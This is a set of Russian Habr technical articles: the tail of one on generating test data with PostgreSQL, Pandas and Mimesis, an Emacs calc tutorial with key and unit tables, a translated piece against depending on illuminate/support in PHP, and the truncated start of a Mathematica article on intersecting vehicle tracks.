нужные индексы у нас теперь (indisready=false) отключены. **3) Отключить триггеры, если они есть:** ``` ALTER TABLE public.таблица1 DISABLE TRIGGER ALL; ALTER TABLE public.таблица2 DISABLE TRIGGER ALL; ``` **4) Удалить ключи:** ``` ALTER TABLE public.таблица1 DROP CONSTRAINT таблица1_pkey; ALTER TABLE public.таблица2 DROP CONSTRAINT таблица2_pkey; ``` Ключи являются индексами, но отключить их нельзя. Поэтому если вы хотите ускорить тестирование и отказаться от ключей, их можно только удалить. Для этого мы и сохраняли схему БД на первом шаге, чтобы потом проверить, что у нас все хорошо. **5) Сгенерировать данные «хранимками»:** ``` SELECT load_fill_database_test1(1, 1000000); SELECT load_fill_database_test2(1000001, 2000000); ``` Далее нужно выполнить шаги обратные шагам 4, 3, 2. **5) Создать ключи (ADD CONSTRAINT):** ``` ALTER TABLE public.таблица1 ADD CONSTRAINT PRIMARY KEY(id); ALTER TABLE public.таблица2 ADD CONSTRAINT PRIMARY KEY(id); ``` **6) Включить триггеры, если мы их отключали:** ``` ALTER TABLE public.таблица1 ENABLE TRIGGER ALL; ALTER TABLE public.таблица2 ENABLE TRIGGER ALL; ``` **7) Включить индексы:** ``` UPDATE pg_index SET indisready=true WHERE indexrelid=( SELECT oid FROM pg_class WHERE relname in ('таблица1', 'таблица2') ); ``` Если отключить индексы, а потом вставить данные и включить индексы, индексы автоматически не обновятся. Нужно выполнить переиндексацию. **8) Переиндексировать:** ``` REINDEX public.таблица1; REINDEX public.таблица2; ``` Теперь Postgres будет знать о всех новых записях, индексы перестроятся и можно сравнить сохраненную схему, которая была на шаге 1, и схему, которая получилась после того, как мы выполнили все шаги. **9) Сравнить схему до и после.** Но данные можно генерировать не только с Postgres. Иногда нужно генерировать сложные данные, например, списки сотрудников, которые получают зарплату, в виде документа Excel. Тогда мне на помощь приходит Python и проект под названием Pandas. Генерация данных с Python ------------------------- Я работал с Pandas и проектом, который раньше назывался Elizabeth, а сейчас Mimesis: * [Генерация фиктивных данных с Mimesis: Часть I](https://habr.com/ru/post/318120/) * [Генерация фиктивных данных с Mimesis: Часть II](https://habr.com/ru/post/319880/) Его использовал, чтобы генерировать большое количество псевдоперсональных данных для тестирования зарплатных проектов. Вот пример алгоритма генерации сотрудниц. ![В Elizabeth создается случайная персона и для нее можно получить фамилию и имя](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3bb/538/0d6/3bb5380d6f9b77a5698bee7f228f5aa6.jpeg "В Elizabeth создается случайная персона и для нее можно получить фамилию и имя")В Elizabeth создается случайная персона и для нее можно получить фамилию и имяВ цикле формируется 600000 строк, и чтобы Mimesis сгенерировал русские имена и фамилии, мы в строке 16 задаем персону для русского языка. В классе person у нас появляются все псевдослучайные персональные данные. Если мы возьмем, например, поле surname или name и вставим их в наши поля Pandas, то получим женскую фамилию и женское имя. Несложным алгоритмом можно получить отчество. ![Подбираем отца перебором, пока имя отца не будет заканчиваться на к, н, г, з, ф, в, п, р, л, д, ч, с, м, т или б. Для Павла и Льва - особые условия формирования отчества](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/08c/374/799/08c374799b5bc7e24e2a26fa42f0be20.jpeg "Подбираем отца перебором, пока имя отца не будет заканчиваться на к, н, г, з, ф, в, п, р, л, д, ч, с, м, т или б. Для Павла и Льва - особые условия формирования отчества")Подбираем отца перебором, пока имя отца не будет заканчиваться на к, н, г, з, ф, в, п, р, л, д, ч, с, м, т или б. Для Павла и Льва - особые условия формирования отчестваДля этого нужно сгенерировать уже мужское имя и посмотреть на какую букву алфавита оно заканчивается. Если на простую букву, например, имя Кирил**л** заканчивается на букву «Л», то чтобы сгенерировать женское отчество от имени Кирилл, нужно добавить «овна» — Кирилл**овна**. Есть несколько исключений, для которых надо добавлять дополнительные правила. Например, имя Павел тоже заканчивается на простую букву «Л», но Павел**овна** — некорректное отчество. Аналогично генерируются мужские отчества — Иван - «ович». На Python можно генерировать другие данные, выполнять транслитерацию и генерировать номера.  ![Генерация имени для пластиковой карты из 23 символов](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/902/a3a/971/902a3a97192ae28e4698a6153514fc15.jpeg "Генерация имени для пластиковой карты из 23 символов")Генерация имени для пластиковой карты из 23 символовЕщё Pandas предоставляет удобный интерфейс для того, чтобы удалить дубликаты в одну строку. ``` df = pd.DataFrame(rowList) df = pd.drop_duplicates(keep="first") ``` Или для того, чтобы массово обновить все поля всех строк, например, сказать, что в этом датасете все родились 25 ноября: ![Массовое добавление полей](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/516/9a7/836/5169a783687992c65610b75096305e5e.jpeg "Массовое добавление полей")Массовое добавление полейЯ использовал Pandas для того, чтобы не разбираться с форматами Excel, а сохранить готовые данные в CSV или XLS файлы. ![Выгрузка в csv](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/84c/32c/6b8/84c32c6b8482485112ed030e042bbd40.jpeg "Выгрузка в csv")Выгрузка в csvГенерация данных с сериализацией классов ---------------------------------------- Если вы генерируете данные со стороны API, и эти данные представляют структуры данных сервиса, то переиспользуйте их. Например, вам нужно отправить много JSON файлов в вашу систему. Часто тестировщики соединяют строки и вставляют параметры, чтобы в результате получился валидный JSON. Это плохой путь. Хороший путь — это пойти к разработчикам или скачать исходники, взять Data Transfer Object, которые уже написаны, версионируются и поддерживаются вместе с вашим сервисом, где есть специальные методы, чтобы только имя заполнить, а все остальное сгенерировать, проверить и рассчитать. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3dd/67b/251/3dd67b25171154d78ed8eb9750aa1ac8.jpeg)И самое главное — Data Transfer Object в одну строку превращаются в XML-файл или JSON-файл. Вам не нужно для этого делать конкатенацию. Возможно, это будет чуть дольше, но вы сэкономите много времени на отладке. Промежуточные итоги ------------------- * генерация данных на SQL - наиболее производительный способ генерации, который работает максимально быстро, если предварительно настроить базу данных на быструю вставку * генерацию данных в формате Excel/CSV удобно делать с Pandas, а для псевдоперсональных данных удобно использовать Mimesis из python * для формирования XML/JSON, при генерации данных через API, сериализация объектов системы дает более стабильный результат, чем формирование XML/JSON через конкатенацию строк В следующей части я расскажу об анализе данных и логировании запросов PostgreSQL. > Конференция об автоматизации тестирования [**TestDriven Conf 2022**](https://clck.ru/YryJb) пройдёт в Москве, 28-29 апреля 2022 года. Если вы хотите выступить на конференции, то до окончания [приема](https://clck.ru/YryKW) заявок осталось 8 дней. > > Кроме хардкора об автоматизации и разработки в тестировании, будут и вещи, полезные в обычной работе. Принятые доклады можно посмотреть [здесь](https://clck.ru/YryMg), а купить билет — [здесь](https://clck.ru/YryPc). > >
https://habr.com/ru/post/589543/
null
ru
null
# Emacs таинственный: Путешествие в калькулятор ![](https://habrastorage.org/r/w780q1/files/62f/c06/762/62fc06762d134129ac018eaedbe4facd.jpg) *Ничто так не скрыто от нас, как то, что лежит на поверхности. Сунь Цзы и Чжугэ Лян (вольный перевод)* Предисловие =========== Случилось сие в одном из роликов на YouTube. При просмотре программистского урока нужно было срочно перевести 377 в десятичную систему. Мы не стали раскладывать это на тройки бит, представлять степени восьмёрки или просто не обращать на это внимание и пропустить этот неважный момент. Мы запустили калькулятор в операционной системе, пододвинули его окно к центру экрана и там всё выяснили. Да, это оно — число 255. Конечно, не нужно рассказывать, что бывает в более сложных случаях. Порой дело доходит до листика в тетради, лежащей рядом с компьютером как раз для таких случаев. У каждого найдётся парабола или что-то около того, пересекающее что-то около того. Первый контакт ============== Как и следовало ожидать, при использовании Emacs на протяжении месяцев или просто многих лет наступает Emacs головного мозга. Поэтому такие случаи не проходят даром и среди ночи в голове возникает вопрос: «Как же всё-таки в Emacs'е перевести 377? Он хотя бы это умеет? Ну, хотя бы 8 возведёт в степень?». Наутро, зарядившись энергией в виде чая с горстью шоколадных конфет, мы открываем Emacs и начинаем его исследование. Начинаем с операций ------------------- Понятно, что введя Alt + x и calc , мы первым делом видим обычный стековый калькулятор, которых писали, наверное, штук сто вот этими вот руками. И как бы не хотелось повторять этот путь в сто первый раз, обнаружив, что он не умеет ничего. Методом тыка сначала делаем + — \* / `5 7 + 5 7 - 5 7 \* 5 7 /` Потом `8 8 \*` О! А вот и квадрат восьмёрки! А где квадрат, там и куб! Открываем хелп -------------- Конечно, все знают, что русский человек (сссрский, имперский и др.) не будет начинать с инструкции, а сначала попробует всё сломать, потом починить, а потом уже инструкцию читать в поисках пропущенных секретов. Не скажу, что в этот раз с инструкции всё началось, так как в отличие от многих я не отключаю меню Emacs'а, а пользуюсь им для вспоминания сочетаний клавиш во всяких редких режимах. Вот и в этот раз я начал обзор с меню калькулятора ![](https://habrastorage.org/r/w780q1/files/16a/948/886/16a948886e5d43efbde29fe827ecd6d9.jpg) Для того, чтобы открыть хелп, нужно ввести Ctrl + x + \* + i . А чтобы открыть туториал, нужно ввести Ctrl + x + \* + t . Их по-разному можно открыть, но, как показала практика, сочетание Ctrl + x + \* + <клавиша> используется очень часто и сделано специально для удобного управления калькулятором в процессе другой работы. Поэтому открыть калькулятор можно через Ctrl + x + \* + c , а запустить калькулятор в текущем буфере можно через Ctrl + x + \* + e . **Описание клавиш**`calc-dispatch-help is an interactive compiled Lisp function. (calc-dispatch-help ARG) C-x* is a prefix key sequence; follow it with one of these letters: For turning Calc on and off: C calc. Start the Calculator in a window at the bottom of the screen. O calc-other-window. Start the Calculator but don't select its window. B calc-big-or-small. Control whether to use the full Emacs screen for Calc. Q quick-calc. Use the Calculator in the minibuffer. K calc-keypad. Start the Calculator in keypad mode (X window system only). E calc-embedded. Use the Calculator on a formula in this editing buffer. J calc-embedded-select. Like E, but select appropriate half of => or :=. W calc-embedded-word. Like E, but activate a single word, i.e., a number. Z calc-user-invocation. Invoke Calc in the way you defined with `Z I' cmd. X calc-quit. Turn Calc off. For moving data into and out of Calc: G calc-grab-region. Grab the region defined by mark and point into Calc. R calc-grab-rectangle. Grab the rectangle defined by mark, point into Calc. : calc-grab-sum-down. Grab a rectangle and sum the columns. _ calc-grab-sum-across. Grab a rectangle and sum the rows. Y calc-copy-to-buffer. Copy a value from the stack into the editing buffer. For use with Embedded mode: A calc-embedded-activate. Find and activate all :='s and =>'s in buffer. D calc-embedded-duplicate. Make a copy of this formula and select it. F calc-embedded-new-formula. Insert a new formula at current point. N calc-embedded-next. Advance cursor to next known formula in buffer. P calc-embedded-previous. Advance cursor to previous known formula. U calc-embedded-update-formula. Re-evaluate formula at point. ` calc-embedded-edit. Use calc-edit to edit formula at point. Documentation: I calc-info. Read the Calculator manual in the Emacs Info system. T calc-tutorial. Run the Calculator Tutorial using the Emacs Info system. S calc-summary. Read the Summary from the Calculator manual in Info. Miscellaneous: L calc-load-everything. Load all parts of the Calculator into memory. M read-kbd-macro. Read a region of keystroke names as a keyboard macro. 0 (zero) calc-reset. Reset Calc stack and modes to default state. Press `*' twice (`C-x * *') to turn Calc on or off using the same Calc user interface as before (either C-x * C or C-x * K; initially C-x * C).` Поднимаем планку ---------------- Примерно день ушёл на проверку всех опций из меню. Среди них есть такие, как нахождение следующего простого числа, поэтому такое нельзя было просто пропустить, хотелось убедиться, что это действительно работает. Наибольший общий делитель (НОД) теперь можно не писать, здесь он просто есть. Надо ввести два числа и нажать k g, где k означает комбинаторику, а g — gcd (Greatest Common Divisor). Факториал 3000 (своеобразная проверка на скорость) вычисляется не без труда, но всё же вычисляется секунд за пятнадцать. Транспонирование матрицы, нахождение её определителя или скалярное умножение векторов выполняется легко и со свистом. На минуту я забыл, за чем пришёл, выполняя операции одну за другой, не веря собственным глазам. А за чем же я пришёл? Продолжаем ---------- На второй день стало интересно, вычислит ли он систему уравнений методом Крамера. Раз определители есть, то и решение методом Крамера можно найти. Раньше-то я в редакторе это писал много раз, даже навыки уже сложились по вычислению определителей в редакторе. Но это не потребовалось. Оказалось, что достаточно просто ввести три уравнения, а потом запросить их решение. Да, прямо как в Вольфраме. Найдём первую попавшуюся систему `2y +  x +  z = -1  -z -  y + 3x = -1 -2x + 3z + 2y =  5` Надо просто её выделить Ctrl + x + h , скопировать Alt + w , перейти в калькулятор Ctrl + x + \* + \* , вставить её Ctrl + y , упаковать уравнения в вектор 3 v p , нажать a P и в ответ на вопрос «По каким переменным искать корни?» ввести x y z . В стеке появится вектор с ответами, дальше мы просто нажимаем y и вектор с ответами вставляется в позицию курсора в исходном буфере с уравнениями. `[[ 0., -2., 3. ]] 2y +  x +  z = -1  -z -  y + 3x = -1 -2x + 3z + 2y =  5` Если бы мы курсор оставили в конце системы уравнений, то ответ вставился бы туда. Пришло время развернуться ========================= Сила стека ---------- При пользовании калькулятором в течение какого-то времени становится неудобно от того, что в стеке начинают накапливаться значения. При этом ты не знаешь, возможно ли их удалить, так как среди них есть нужные, поэтому любой эксперимент может закончится потерей. Так идут часы, пока в одну прекрасную минуту ты не решаешься всё-таки открыть хелп и потратить время на его чтение. К счастью, все комбинации подобраны максимально удобно, так что там даже присутствует и поддерживается некая симметрия действий. Вот эти числа с двоеточиями в стеке в начале каждой строки являются как бы адресами. Во многих командах ввод положительного аргумента означает «несколько штук», а ввод отрицательного аргумента означает «такой-то номер». К примеру, есть у нас число пять в стеке `1: 5` Если мы нажмём (Enter), то оно скопируется и у нас будет `2: 5 1: 5` Вот эта двойка равна количеству элементов в стеке, она же является адресом первого числа пять, а число 1 является адресом второго числа пять. У команды есть аргумент, который по умолчанию равен 1. Когда мы нажимаем  , он копирует столько элементов от вершины стека (вершина — в самом низу). Поэтому, если мы введём Alt + 2 +  , он возьмёт два элемента и скопирует их `4: 5 3: 5 2: 5 1: 5` Если же аргумент отрицательный, то он берёт элемент с таким адресом (если минус убрать). Поэтому, если мы введём теперь Alt + — + 4 +  , он скопирует элемент по адресу 4 `5: 5 4: 5 3: 5 2: 5 1: 5` Большинство основных операций работают по той же схеме. Если нужно удалить три элемента, то пишем Alt + 3 + ~~, где ~~— это backspace. Если же нужно удалить элемент с адресом 3, то пишем Alt + — + 3 + ~~. Если почитать хелп ещё более подробно, то к этим операциям можно найти такие своеобразные операции из антимира, состоящие из чёрной материи. Например, для существует операция Ctrl + j , для ~~существует Alt + ~~, а для существует Alt +  . Смысл этих операций точно такой же, только аргумент меняется по знаку. Поэтому, если ввести Alt + 3 + Ctrl + j , то он не три элемента скопирует, а элемент с адресом 3, а если ввести отрицательный аргумент, то он скопирует не элемент с адресом 3, а три элемента. Если нужно очистить весь стек, то нужно нажать Alt + 0 + ~~. Есть множество путей -------------------- Поначалу кажется, что всё можно делать только одним способом, который надо просто выучить. Но со временем открываются многие способы достижения одного и того же результата. Например, как можно ввести матрицу? Самое первое, что приходит на ум, — это написать её в буфере и потом просто скопировать. Вот это `[[1, 2, 3], [4, 5, 6], [7, 8, 9]]` Превращается вот в это `1: [ [ 1, 2, 3 ]      [ 4, 5, 6 ]      [ 7, 8, 9 ] ]` Второе, что приходит на ум, — это использование внутреннего средства. Матрица — это три вектора `1 2 3 3 v p 4 5 6 3 v p 7 8 9 3 v p 3 v p` Третье, что приходит на ум, — это использование внутреннего и удобного средства. `1 2 3 4 5 6 7 8 9 [3, 3] v p` И четвертое, что приходит на ум, — «А её нельзя просто ввести?» `[ 1 2 3 ; 4 5 6 ; 7 8 9 ] ]` У команды pack есть симметричная — unpack, поэтому, если нужно разложить матрицу на векторы или вектор разложить на числа, то мы просто нажимаем v u . Привлекаем внешние средства --------------------------- По мере ковыряния в калькуляторе вдруг начинаешь обращать внимание на окружающие буферы и постепенно возникает вопрос: «А какие средства обычного Emacs'а можно привлечь при работе в калькуляторе?» Поначалу мы просто находим n-ую производную многочлена путём записи макроса и повторения его n раз через аргумент макроса. Например, вводим выражение `' x^5 + 4 x^3 + 2 x + 1` Затем нажимаем F3, чтобы начать запись макроса. Потом нажимаем a d, чтобы вычислить производную. Затем на вопрос «По какой переменной?» вводим x . Потом нажимаем F4, чтобы закончить запись макроса. Делаем отмену вычисления, нажав Ctrl + / или применяя внутреннюю отмену калькулятора — букву U. Имея первоначальное выражение `1: x^5 + 4 x^3 + 2 x + 1` Нажимаем Alt + 3 + F4 и в результате имеем третью производную `1: 60 x^2 + 24` Если же мы нажмём Ctrl + x + z , а потом z z , то мы постепенно получим ноль. Уходим во внешний мир --------------------- Через какое-то время калькулятор закрывается и мы возвращаемся к нашей обычной работе, к нашим обычным развлечениям. И вот в один прекрасный момент мы читаем, в Emacs'е естественно, историю про лису, которая прыгала-прыгала через ленивую собаку и прыгнула 1024 раза. Постойте, скажете вы, разве лиса может прыгнуть столько раз прямо точь в точь, если она не компьютерная? Надо это дело исправить. У нас имеется следующий текст `The quick brown fox has jumped over the lazy dog 1024 times.` Наводим курсор на 1024 и осторожно нажимаем Ctrl + x + \* + w . Дальше нажимаем Q, а потом так же осторожно нажимаем Ctrl + x + \* + w . И у нас получается `The quick brown fox has jumped over the lazy dog 32 times.` Вот это уже больше похоже на правду. То есть, чтобы что-то вычислить, калькулятор совсем не обязательно открывать, достаточно лишь понажимать какие-то кнопки. А вот то самое ============== Вспомнил, за чем я заходил `Ctrl + x + * + * 8#377 d 2 d 8 d 6 d 0 Ctrl + x + \* + \*` И напоследок ============ Было время, когда я писал функцию на питоне `2016 1 1 Alt + - + 14 v p 255 +` Прилагаю тут список единиц, которые он может конвертировать, в калькуляторе они находятся по u v . **Список единиц**`Calculator Units Table: (All definitions are exact unless marked with an asterisk (*).) Unit Type Definition Description m m Meter (base unit) in 2.54 cm Inch ft 12 in Foot yd 3 ft Yard mi 5280 ft Mile au 149597870691 m (*) Astronomical Unit lyr c yr Light Year pc 3.0856775854 10^16 m (*) Parsec (**) nmi 1852 m Nautical Mile fath 6 ft Fathom fur 660 ft Furlong mu 1 um Micron mil (1/1000) in Mil point (1/72) in Point (PostScript convention) Ang 10^-10 m Angstrom mfi mi + ft + in Miles + feet + inches texpt (100/7227) in Point (TeX convention) (**) texpc 12 texpt Pica (TeX convention) (**) texbp point Big point (TeX convention) (**) texdd (1238/1157) texpt Didot point (TeX convention) (**) texcc 12 texdd Cicero (TeX convention) (**) texsp (1/65536) texpt Scaled TeX point (TeX convention) (**) hect 10000 m^2 Hectare a 100 m^2 Are acre (1/640) mi^2 Acre b 10^-28 m^2 Barn L 10^-3 m^3 Liter l L Liter gal 4 qt US Gallon qt 2 pt Quart pt 2 cup Pint (**) cup 8 ozfl Cup ozfl 2 tbsp Fluid Ounce floz 2 tbsp Fluid Ounce tbsp 3 tsp Tablespoon tsp 4.92892159375 ml Teaspoon vol tsp+tbsp+ozfl+cup+pt+qt+gal Gallons + ... + teaspoons galC galUK Canadian Gallon galUK 4.54609 L UK Gallon s s Second (base unit) sec s Second min 60 s Minute hr 60 min Hour day 24 hr Day wk 7 day Week hms wk + day + hr + min + s Hours, minutes, seconds yr 365.25 day Year (Julian) Hz 1 / s Hertz mph mi / hr Miles per hour kph km / hr Kilometers per hour knot nmi / hr Knot c 299792458 m / s Speed of light ga 9.80665 m / s^2 "g" acceleration g g Gram (base unit) lb 16 oz Pound (mass) oz 28.349523125 g Ounce (mass) ton 2000 lb Ton tpo ton + lb + oz Tons + pounds + ounces (mass) t 1000 kg Metric ton tonUK 1016.0469088 kg UK ton lbt 12 ozt Troy pound ozt 31.10347680 g Troy ounce ct 0.2 g Carat u 1.660538782 10^-27 kg (*) Unified atomic mass N m kg / s^2 Newton dyn 10^-5 N Dyne gf ga g Gram (force) lbf ga lb Pound (force) kip 1000 lbf Kilopound (force) pdl 0.138254954376 N Poundal J N m Joule erg 10^-7 J Erg cal 4.1868 J International Table Calorie calth 4.184 J Thermochemical Calorie Cal 1000 cal Large Calorie Btu 1055.05585262 J International Table Btu eV ech V Electron volt ev eV Electron volt therm 105506000 J EEC therm invcm h c / cm Energy in inverse centimeters Kayser invcm Kayser (inverse centimeter energy) men 100 / invcm Inverse energy in meters Hzen h Hz Energy in Hertz Ken k K Energy in Kelvins Wh W hr Watt hour Ws W s Watt second W J / s Watt hp 550 ft lbf / s Horsepower hpm 75 m kgf / s Metric Horsepower K K K Degree Kelvin (base unit) dK K K Degree Kelvin degK K K Degree Kelvin dC C K Degree Celsius degC C K Degree Celsius dF F (5/9) K Degree Fahrenheit degF F (5/9) K Degree Fahrenheit Pa N / m^2 Pascal bar 10^5 Pa Bar atm 101325 Pa Standard atmosphere Torr (1/760) atm Torr mHg 1000 Torr Meter of mercury inHg 25.4 mmHg Inch of mercury inH2O 2.490889 10^2 Pa (*) Inch of water psi lbf / in^2 Pounds per square inch P (1/10) Pa s Poise St 10^-4 m^2 / s Stokes A A Ampere (base unit) C A s Coulomb Fdy ech Nav Faraday e ech Elementary charge ech 1.602176487 10^-19 C (*) Elementary charge V W / A Volt ohm V / A Ohm Ω ohm Ohm mho A / V Mho S A / V Siemens F C / V Farad H Wb / A Henry T Wb / m^2 Tesla Gs 10^-4 T Gauss Wb V s Weber cd cd Candela (base unit) sb 10000 cd / m^2 Stilb lm cd sr Lumen lx lm / m^2 Lux ph 10000 lx Phot fc lm / ft^2 Footcandle lam 10000 lm / m^2 Lambert flam (1 / pi) cd / ft^2 Footlambert Bq 1 / s Becquerel Ci 37 10^9 Bq Curie Gy J / kg Gray Sv Gy Sievert R 258 10^-6 C / kg Roentgen rd (1/100) Gy Rad rem rd Rem mol mol Mole (base unit) rad rad Radian (base unit) circ 2 pi rad Full circle rev circ Full revolution deg circ / 360 Degree arcmin deg / 60 Arc minute arcsec arcmin / 60 Arc second grad circ / 400 Grade rpm rev / min Revolutions per minute sr sr Steradian (base unit) h 6.62606896 10^-34 J s (*) Planck's constant hbar h / (2 pi) Planck's constant mu0 4 pi 10^-7 H / m Permeability of vacuum μ0 mu0 Permeability of vacuum eps0 1 / (mu0 c^2) Permittivity of vacuum ε0 eps0 Permittivity of vacuum G 6.67428 10^-11 m^3/(kg s^2) (*) Gravitational constant Nav 6.02214179 10^23 / mol (*) Avogadro's constant me 9.10938215 10^-31 kg (*) Electron rest mass mp 1.672621637 10^-27 kg (*) Proton rest mass mn 1.674927211 10^-27 kg (*) Neutron rest mass mmu 1.88353130 10^-28 kg (*) Muon rest mass mμ 1.88353130 10^-28 kg (*) Muon rest mass Ryd 10973731.568527 /m (*) Rydberg's constant k 1.3806504 10^-23 J/K (*) Boltzmann's constant alpha 7.2973525376 10^-3 (*) Fine structure constant α 7.2973525376 10^-3 (*) Fine structure constant muB 927.400915 10^-26 J/T (*) Bohr magneton muN 5.05078324 10^-27 J/T (*) Nuclear magneton mue -928.476377 10^-26 J/T (*) Electron magnetic moment mup 1.410606662 10^-26 J/T (*) Proton magnetic moment R0 8.314472 J/(mol K) (*) Molar gas constant V0 22.710981 10^-3 m^3/mol (*) Standard volume of ideal gas Np Np Neper (base unit) dB (ln(10) / 20) Np decibel Unit Prefix Table: Y 10^24 Yotta Z 10^21 Zetta E 10^18 Exa P 10^15 Peta T 10^12 Tera G 10^9 Giga M 10^6 Mega k K 10^3 Kilo h H 10^2 Hecto D 10^1 Deka d 10^-1 Deci c 10^-2 Centi m 10^-3 Milli u μ 10^-6 Micro n 10^-9 Nano p 10^-12 Pico f 10^-15 Femto a 10^-18 Atto z 10^-21 zepto y 10^-24 yocto (**) When in TeX or LaTeX display mode, the TeX specific unit names will not use the `tex' prefix; the unit name for a TeX point will be `pt' instead of `texpt', for example. To avoid conflicts, the unit names for pint and parsec will be `pint' and `parsec' instead of `pt' and `pc'.`~~~~~~~~~~~~
https://habr.com/ru/post/279853/
null
ru
null
# Не используйте Illuminate Support **tl;dr**: Если Вы пишете framework agnostic пакет, не используйте [illuminate/support](https://github.com/illuminate/support). ![laravel](https://habrastorage.org/r/w780q1/files/138/0e8/97f/1380e897f6514a3cb561049f8754a7dd.jpg) *Перевод статьи Метта Аллана (Matt Allan) "[Don't Use Illuminate Support](http://mattallan.org/2016/dont-use-illuminate-support/)".* Множество framework agnostic Composer пакетов (PHP) зависят от [illuminate/support](https://github.com/illuminate/support), который включает в себя хелперы и код общего назначения, используемый в Laravel framework. А всё потому, что данный пакет содержит в себе [множество замечательных функций](https://laravel.com/docs/5.2/helpers) типа `array_get`, а также [великолепные коллекции](https://laravel.com/docs/5.2/collections). Хелперы — отличная штука, но я не думаю, что разработчики понимают все последствия включения данного пакета в свой проект. Все боятся критики за изобретение велосипеда, поэтому тянут [6000+ строк кода](https://gist.github.com/anonymous/8b85bc6b3858f4959011c38e2fa750bd) чтобы самим не писать такой код ``` isset($arr[$k]) ? $arr[$k] : null ``` Ад зависимостей --------------- Используя illuminate/support (5.2) Вы подтягиваете в свой проект illuminate/contracts, doctrine/inflector, полифилл для random\_bytes, и mb\_string. К счастью дерево зависимостей на этом заканчивается. **Не для слабонервных. Данный абзац является исключительно умозаключениями самого автора.**mb\_string не стандартный [php модуль](http://php.net/manual/en/mbstring.installation.php), поэтому он не может быть установлен на машине пользователя. Если Вы не работаете со строками, не стоит заставлять пользователей перекомпилировать PHP только для того, чтобы использовать свой пакет. Можете использовать [stringy](https://github.com/danielstjules/Stringy#installation) как хорошую альтернативу, он использует полифилл. Конфликт версий --------------- [Более 6000 пакетов](https://packagist.org/packages/illuminate/support/dependents) зависят от illuminate/support. Если кто-нибудь установит Ваш пакет и другой, включающий в себя illuminate/support, он должен быть зависим от той же версии, иначе получится конфликт. Беглый взгляд показывает, что множество проектов всё ещё используют версию 4.1.x. Положение ухудшается, если Ваш пакет используется вместе с Laravel или Lumen. Пользователь не сможет обновиться раньше Вас (и все пакеты, использующие illuminate/support). Теперь Вы мешаете пользователю обновить свой фреймворк. Единственная альтернатива, использовать неограниченные диапазоны вроде `>5.2`, но это довольно плохая идея. Глобальная область видимости ---------------------------- illuminate/support подтягивает [52 функции](https://github.com/illuminate/support/blob/master/helpers.php) в глобальную область видимости. Хорошо если используемый фреймворк не использует пространство имён. Зависимости не должны загрязнять глобальную область. Но ведь хелперы прекрасны, почему бы не использовать их? Некоторые трансформеры [работают не так, как ожидается](https://github.com/yuloh/case-transform-tests), а `dd` [бесполезен в терминале](https://asciinema.org/a/5nbhmqvd6lfpyz4ereihvzifa). Но все хотят, чтобы эти 52 функции вели себя так как хочется, поэтому суют их в глобальную область. Фасады ------ Это конечно небольшая проблема, но сильно раздражает когда пишешь код по 40+ часов в неделю. illuminate/support имеет множество часто используемых классов типа Collection, Request, Response, и App. Каждый раз, когда я начинаю набирать пространство имён, IDE пытается импортировать неправильную коллекцию или бесполезный фасад вместо фактического класса, который мне нужен. illuminate/support включает в себя [целый каталог классов](https://github.com/illuminate/support/tree/master/Facades) которые даже не работают за пределами Laravel! Я гарантирую, что Вы не используете фасады в рамках framework agnostic, поэтому, пожалуйста, прекратите тянуть их в мой проект. Критические ошибки ------------------ Сейчас ваш пакет зависит от 3-х различных пакетов, не нарушающих SemVer. Стоит ли рисковать получить такие же проблемы как с [left-pad](http://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm) вместо написания нескольких строк кода? Нацеливание на меньшее количество зависимостей ---------------------------------------------- Попробуйте использовать как можно меньше зависимостей. Если посмотреть на [проекты от phpleague](https://packagist.org/packages/league/), то можно заметить, что все они имеют малое количество зависимостей или вообще их не имеют. Хорошая практика — написать несколько небольших вспомогательных классов для 2-х или 3-х функций. Если не хочется писать самостоятельно, скопируйте функции которые Вам нужны в соответствии с лицензией. Если [тестировать все возможные версии](https://blog.wyrihaximus.net/2015/06/test-lowest-current-and-highest-possible-on-travis/), много времени уйдёт на настройку конфигурации CI сервера, чем на написание своего собственного кода и тестов для нескольких вспомогательных функций. Альтернативы ------------ Если Вам нужна тонна функционала, следует использовать пакеты вместо того, чтобы всё писать самому. Поскольку illuminate/support охватывает огромное количество функционала, ниже список тех, что можно использовать для каждого конкретного случая. ### [doctrine/inflector](https://github.com/doctrine/inflector) Приведение слов к единственному и множественному числу. Это на самом деле зависимость illuminate/support. ### [danielstjules/Stringy](https://github.com/danielstjules/Stringy) Охватывает все функции преобразования строк. Использовался в illuminate/support до версии 5.2. ### [dusank/knapsack](http://dusankasan.github.io/Knapsack/) Работа с коллекциями. Единственные пакет, обнаруженный мной сравнимый с Laravel collections. ### [anahkiasen/underscore-php](http://anahkiasen.github.io/underscore-php) Замена функциям для работы с массивами, использует точечную нотацию. Я не знаю, хорошей альтернативы, поддерживающей точечную без использования зависимостей. Я просто пишу ванильный php для этого. В php7+ можно использовать [null coalesce operator](https://wiki.php.net/rfc/isset_ternary) вместо `array_get`.
https://habr.com/ru/post/308166/
null
ru
null
# Решение задачи нахождения углов установки видеокамеры над дорогой разными методами в Wolfram Mathematica. Часть 2 ![](http://habrastorage.org/r/w1560/storage2/286/19a/545/28619a54582b6531a4ee16532ed0a2f9.png) В прошлый раз мы загрузили данные из файла, разобрали их в структуру, получили уравнения треков движения ТС и графически отобразили эти данные: [Часть 1](http://habrahabr.ru/post/175047/) В данной статье одним из методов найдем статистически точку, в окрестностях которой пересекаются треки движения ТС. #### Описание одного из способов нахождения интересующей нас точки В данном методе найдем все точки пересечения графиков — треков движения ТС, найдем математическое ожидание этих данных и дисперсию. #### Нахождение всех точек пересечения треков Определим количество уравнений в списке с уравнениями: `length = Length[numeq];` Создадим пустой список, в который будем записывать координаты точек пересечения трэков: `rootlist = {};` Теперь необходимо написать цикл. который будет решать попарно имеющиеся у нас линейные уравнения и находить координаты их пересечения и записывать в подготовленный список:: `Do[Do[rootlist = Append[rootlist, List[` `x /. Solve[numeq[[j]] == numeq[[i]], x][[1]],` `numeq[[j]] /. Solve[numeq[[j]] == numeq[[i]], x][[1]]` `]` `]` `, {i, 1 + j, length}],` `{j, 1, length}]` На каждом проходе цикла мы добавляем к `rootlist` список, состоящий из координаты `x` и `y` пересечения `j` и `i` уравнения, при этом координата x находится как: `x /. Solve[numeq[[j]] == numeq[[i]], x][[1]]` , при этом `Solve[numeq[[j]] == numeq[[i]], x]` возвращает список корней данного уравнения: `{{x 